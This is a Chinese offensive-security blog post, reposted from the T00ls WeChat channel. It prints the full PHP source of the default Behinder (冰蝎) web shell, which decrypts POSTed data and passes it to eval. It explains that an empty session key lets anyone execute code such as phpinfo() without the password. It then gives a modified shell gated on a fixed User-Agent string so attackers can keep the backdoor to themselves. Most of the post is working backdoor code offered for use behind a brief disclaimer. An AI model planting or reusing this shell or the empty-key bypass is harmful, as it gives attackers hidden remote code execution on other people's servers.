冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
下面这个是默认的冰蝎马:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
?>
当 有get有参数pass时,随机一个密码给session[k]并打印出来
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
如果get没有参数pass时,读取session[k] 来当作解密的密钥,接收 put 的数据,解密然后通过 | 分割执行。
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
如果我刚开始 不访问 shell.php?pass=1 那么seesion[k]就不会被赋值,也就是空。
我直接 通过 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。// key值 为空
然后echo 加密后的值,post 提交给冰蝎马。那么phpinfo();也会被执行成功。
造成我即使不知道密码我也能连接你的shell。
然后 稍微改一下 加一个 认证就好了。。。
我这里用ua做的认证,或者其他的也好。
使用方法就是 连接的时候把UA设置成:123321666 就可以了
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
}
?>
本文始发于微信公众号(T00ls):【奇技淫巧】冰蝎马 那可有可无的密码 -- 在爆菊的路上越走越远
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论